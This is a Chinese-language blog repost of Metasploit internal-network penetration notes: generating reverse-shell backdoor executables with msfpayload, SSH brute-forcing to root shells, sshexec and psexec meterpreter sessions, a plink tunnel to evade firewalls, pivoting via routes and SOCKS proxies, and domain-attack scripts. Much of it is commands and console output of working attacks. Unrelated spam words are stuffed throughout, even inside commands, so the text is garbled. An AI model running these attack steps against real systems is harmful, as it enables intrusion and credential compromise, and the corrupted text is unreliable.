您当前的位置:网站首页>都江堰,metasploit浸透测验笔记(内网浸透篇),思维导图

都江堰,metasploit浸透测验笔记(内网浸透篇),思维导图

2019-04-03 14:38:44 投稿作者:admin 围观人数:226 评论人数:0次

0x01 reverse the shell


Fidy734le

一般做法是运用msfpayload生成一个backdoor.exe然后上传到方针机器履行。本地监听即可取得meterpreter shell。

reverse_tcp/http/https => exe => victim => shell

reverse_tcp

windows:

msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= X > shell.exe
metasploit浸透检验笔记(内网浸透篇)

metasploit浸透检验笔记(内网浸透篇)

Linux(x86)

msfpayload linux/x86/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -t elf -o shell

reverse_http

msfpayload windows/meterpreter/reverse_http LHOST= LPORT= X > shell.exe

reverse_https

msfpayload windows/meterpreter/reverse_https LHOST= LPORT= X > shell.exe

Login privilege

在取得一些登陆权限之后取得meterpreter shell的办法。

SSH

ssh_login

模块途径:auxiliary/scanner/ssh/ssh_login

msf exploit(sshexec) > use auxiliary/scanner/ssh/ss独裁者h_login
msf auxiliary(ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try 都江堰,metasploit浸透检验笔记(内网浸透篇),思想导图each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASS
set PASSWORD set PASS_FILE
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > exploit
[*] 192.168.1.104:22 SSH - 张丕林Starting bruteforce
[*] 192.168.1.104:22 SSH - [1/3] - Trying: username: 'root' w都江堰,metasploit浸透检验笔记(内网浸透篇),思想导图ith password: ''
[-] 192.168.1.104:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.104:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.104:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.104:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell se武松打虎ssion 4 opened (192.168.1.105:54562 -> 192.168.1.104:22) at 2014-08-07 22:55:54 +0800
[+] 192.168.1.104:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 shell linux SSH root:toor (192.168.1.104:22) 192.168.1.105:54562 -> 192.168.1.104:22 (192.168.1ips.104)
msf auxiliary(ssh_login) >

这儿metasploit在勘探ssh弱口令时,假如发现存在,则会回来一个linux shell,留意此刻不是meterpreter shell。接下来能够运用

sessions –u id

将linux shell晋级为meterpreter shell,本地检验失利了。:(

sshexec

模块途径:auxiliary/scanner/ssh/ssh_login

留意这个模块BT5下是没有的,kali中则存在。

msf> use exploit/multi/ssh/sshexec 
msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > set LHOST 192.168.1.105
LHOST => 192.168.1.105都江堰,metasploit浸透检验笔记(内网浸透篇),思想导图
msf exploit(sshexec) > set LPORT 8080
LPORT => 8080
msf exploit(sshexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(sshexec) > set PASSWORD toor
PASSWORD => toor
msf exploit(sshexec) > exploit
[*] Started reverse handler on 192.168.1.105:8080 木加羽
[*] 192.168.1.104:22 - Sending Bourne stager...
[*] Command Stager progress - 40.39% done (288/713 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 192.168.1.104
[*] Command Stager prPROFESSIONALogress - 100.00% done (713/713 bytes)
[*] Meterpreter session 3 opened (192.168.1.105:8080 -> 192.168.1.104:40813) at 2014-08-07 22:53:12 +0800
meterpreter >

smb

模块途径:exploit/windows/smb/psexec

当运用smb_login扫出windows的弱口令时,能够检验运用这种办法获取shell。 这是在内网中取得windows shell最基本的办法,在登陆域机器时需求设置Domain参数,不然登陆过错。

正如之前说到的show advanced,每个模块都有高档参数设定,这儿的psexec就能够设置advanced中的EXE参数到达履行进犯者本地恣意文件的意图(见参阅<1>)。

假如方针机器有杀软或许其他简略的防护办法呢? 那么能够检验只履行指令

psexec_command

模块途径:a铭铭胶水uxiliary/admin/smb/psexec_command

这儿需求留意的是psexec.exe(pstools中的东西)假如不能成功履行,那么psexec_command或许是能够履行的,并且大多数的状况下metasploi都江堰,metasploit浸透检验笔记(内网浸透篇),思想导图t中的psexe姒c都能够都江堰,metasploit浸透检验笔记(内网浸透篇),思想导图用,而psexec.exe则不能用

sqlserver

msf exploit(psexec) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options
M铜川odule options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD cmd yes Which payload delivery method to use (ps, cmd, or old)
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(mssql_payload) >

在取得sql server的登陆权限后相同能够快速的取得meterpreter shell。

留意这斯琴高丽里METHOD选项,三种办法都要运用XP_cmdshell,而第一种ps是运用powershell,第二种需求运用wscript.exe十大禁片,第三种则要用到debug.com。 本地没有环境,就不截图演示了

others

不论是什么场景,只要能转换成文件上传和履行权限就能够得到shell。在取得一种权限时当然能够先google一番是否有可适用的脚本,假如没有再剖析是否能转换为文件操作和履行权限。假如能够那就能够得到shell了。 比方:

mysql and sqlserver ..etc => file/webshell =>shell

本地相同也检验了下tunna里自带的msf插件,检验了php版的。代码大致是这样的

先本地生成一个meterpreter.exe(文件名不随机),

然后上传到c:windowstempmeterpreter.exe。

再经过php的exec函数履行。检验的时分发现代码生成meterpreter.都江堰,metasploit浸透检验笔记(内网浸透篇),思想导图exe时LHOST参数有误,改了rb代码之后总算在过错中弹回。

0x02 pivot withvolatile metasploit


在获取到跳板机必定权限后,怎么充分发挥跳板功用呢?这部分内容将简略的介绍几种常见的办法。

增加路由表

这是在metasploit中最常用的办法,在增加路由表和session的联系后,便能够运用msf中的模块跨网段扫描或进犯。办法有许多,这儿有个脚本autoroute能够快速增加路由表(如上图),也能够将当时session置于后台(backgroud),然后用route指令增加。

Socks4a署理

这儿运用auxiliary/server/socks4a模块,需求留意Proxychains不支持ICMP,所以在署理运用NMAP的时分需求运用 –sT -Pn参数。别的Proxychains的衔接提示很乱,用kali自带的Proxychains署理运用sqlmap的时分看起来真的特别乱。在这儿能够运用都江堰,metasploit浸透检验笔记(内网浸透篇),思想导图proxychains-ng。 先在kali中卸载proxychains,然后再装置proxychains-ng。

root@kali:~# git clone https://github.com/rofl0r/proxychains-ng.git
正克隆到 'proxychains-ng'...
remote: Counting objects: 842, done.
remote: Total 842 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (842/842), 465.92 KiB | 27 KiB/s, done.
Resolving deltas: 100% (554/554), done.
root@kali:~# cd proxychains-ng/
root@kali:~/proxychains-ng# ./configure --prefix=/usr --sysconfdir=/etc
Done, now run mak篮导航e && make install
root@kali:~/proxychains-ng# make && make install

之后运用proxychains4 -q 选项运转,然后就不会有凌乱稠浊的输出了。

ssh

meta_ssh

当有一个ssh登录权限后,能够运用这个插件在ssh会话基础上树立链接(见参阅<2>)。

之后进入shell,检查网卡IP信息,然后退出再增加路由表。

再检验扫描5.5.5.0/24这个段,然后对这个段中的5.5.5.134进行弱口令扫描。

发现能够取得成果。

ssh/plink.exe

还有一种运用SSH的方法就在windows下运用plink反弹,这样数据包经过SSH加密后,便能够躲过防火5万左右买什么车好墙的检测。同理在linux也是相同的。 首要生成反弹到本地的reverse后门。

msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5566 > ~/Desktop/backdoor_reverse_localhost.exe

然后敞开本地监听,再将plink和backdoor.exe经过webshell上传。然后履行

echo y | plink.exe -L 5566:192.168.6.131:6666 192.168.6.131 -l root -pw toor

之后运转backdoor.exe,meterpreter就经过ssh tunnel树立起来了。

0x03 内网扫描


Metasploit关于常见效劳(smb/ssh/mysql/mssql/oracle/ftp/tfp/ …etc)扫描能够做到版别信息(banner)、登录盖尔加朵老公验证等。

简略进程能够参阅之前的笔记《msf内网浸透小记》

详细扫描的脚本途径在/usr/share/metasploit-framework/modules/auxiliary/scanner下,能够依据需求自行发现。

常见的扫描端口: 7,21,22,23,25,43,50,53,67,68,79,80姬鹏飞之子姬赤军,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665

当然也能够运用rc脚本(basic_discovery.rc)。

别的内网里还有一处信息的搜集便是snmp,假如有交换机存在snmp弱口令(集体字符串),那么便能够经过snmp搜集路由表信息和VLAN区分信息等。

一般网络都会在vlan区分时补白信息,比方Vlan100是x部分,Vlan200是y部分等等。 不同品牌、类型的交换机在获取这一信息时所需求的OID或许不同(大部分不相同),而snmp又是在udp的161端口,在交换机没有敞开ssh、telnet、web时或许敞开以上效劳,端口又未能做转发时,则能够在知道详细的OID值后经过改写snmp_enumusers.rb脚本完成。

0x04 域浸透相关


引荐几个AD下浸透的扫描脚本(见参阅<3>,下同)

psexec_Loggedin_users

这个脚本能够找到当时段每个IP所登录的用户。小埋

local_admin_search_enum

这个能够找到当时登录办理账户的IP和用户名。

psexec_scanner

批量履行psexec取得shell,脚本里有个psexec的函数,肯定是改写的好范本。见参阅<4>

更多metasploit关于windows域浸透的脚本见参阅<5>

0x05 跋文


关于内网及域下浸透并不必定需求metasploit,更多的是与其他东西的合作。并且这一进程思路(见参阅<6>)和对AD的了解显着比会用东西重要。metasploit仅仅供给了一个自动化发现运用的tunnel,假如简略了解ruby及metasploit代码结构,无论是学习仍是浸透检验,都将会是一个有力的辅佐。别的上文中的示例仅仅为读者所遇状况而构建脚本时的参阅。

原创文章,作者:Drops,转载葵自:http://www.mottoin.com/tech/132113.html

the end
二选一终极问题,心理咨询